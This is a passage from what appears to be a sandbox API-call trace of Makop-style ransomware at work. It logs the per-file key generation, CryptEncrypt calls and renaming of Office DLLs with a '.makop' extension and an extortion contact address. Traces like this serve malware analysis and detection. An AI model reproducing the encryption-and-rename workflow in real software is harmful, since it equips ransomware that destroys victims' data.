hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0087.280] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0087.280] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0087.281] GetProcessHeap () returned 0x48a0000 [0087.281] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0087.281] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0087.281] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0087.281] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0087.285] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.285] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.285] GetProcessHeap () returned 0x48a0000 [0087.285] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0087.285] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0087.285] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.285] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0087.285] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0087.286] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0087.286] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0087.286] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0087.286] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0087.286] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.286] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.286] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.286] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb5db8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb5db8, lpOverlapped=0x0) returned 1 [0087.304] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb5dc0, dwBufLen=0xb5dc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb5dc0) returned 1 [0087.310] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.310] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb5dc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb5dc0, lpOverlapped=0x0) returned 1 [0087.316] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.316] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb5e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.316] SetEndOfFile (hFile=0xf0) returned 1 [0087.325] GetProcessHeap () returned 0x48a0000 [0087.325] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0087.325] GetProcessHeap () returned 0x48a0000 [0087.327] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0087.327] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0087.327] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0087.328] CloseHandle (hObject=0xf0) returned 1 [0087.328] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1 [0087.328] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0087.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0087.330] GetProcessHeap () returned 0x48a0000 [0087.330] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0087.330] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0087.330] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0087.331] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.331] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.331] GetProcessHeap () returned 0x48a0000 [0087.331] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0087.331] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0087.331] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.331] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0087.337] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0087.337] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0087.338] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0087.338] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0087.338] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0087.338] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.338] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.338] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.338] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa990, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa990, lpOverlapped=0x0) returned 1 [0087.340] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa990, dwBufLen=0xa990 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa990) returned 1 [0087.340] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.341] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa990, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa990, lpOverlapped=0x0) returned 1 [0087.341] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.341] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xaa54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.341] SetEndOfFile (hFile=0xf0) returned 1 [0087.348] GetProcessHeap () returned 0x48a0000 [0087.348] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0087.348] GetProcessHeap () returned 0x48a0000 [0087.348] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0087.348] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0087.349] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0087.350] CloseHandle (hObject=0xf0) returned 1 [0087.350] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1 [0087.350] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0087.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0087.352] GetProcessHeap () returned 0x48a0000 [0087.352] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0087.352] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0087.352] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0087.352] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0087.356] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.356] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.356] GetProcessHeap () returned 0x48a0000 [0087.356] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0087.356] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0087.356] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.356] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0087.356] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0087.357] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0087.357] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0087.357] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0087.358] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0087.358] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.358] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.358] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.358] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf73a8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xf73a8, lpOverlapped=0x0) returned 1 [0087.381] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf73b0, dwBufLen=0xf73b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf73b0) returned 1 [0087.391] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.391] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf73b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf73b0, lpOverlapped=0x0) returned 1 [0087.398] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.398] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf7474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.398] SetEndOfFile (hFile=0xf0) returned 1 [0087.409] GetProcessHeap () returned 0x48a0000 [0087.409] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0087.409] GetProcessHeap () returned 0x48a0000 [0087.409] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0087.409] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 112 [0087.409] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0087.411] CloseHandle (hObject=0xf0) returned 1 [0087.411] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1 [0087.411] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0087.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0087.412] GetProcessHeap () returned 0x48a0000 [0087.412] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0087.412] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0087.412] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0087.412] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.412] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.412] GetProcessHeap () returned 0x48a0000 [0087.412] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0087.412] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0087.412] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.412] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0087.417] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0087.417] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0087.417] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0087.418] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0087.418] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0087.418] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.418] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.418] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.418] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6bfa0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6bfa0, lpOverlapped=0x0) returned 1 [0087.430] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6bfa0, dwBufLen=0x6bfa0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6bfa0) returned 1 [0087.435] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.435] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6bfa0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6bfa0, lpOverlapped=0x0) returned 1 [0087.439] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.439] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6c074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.439] SetEndOfFile (hFile=0xf0) returned 1 [0087.448] GetProcessHeap () returned 0x48a0000 [0087.448] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0087.448] GetProcessHeap () returned 0x48a0000 [0087.448] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0087.448] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0087.449] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft 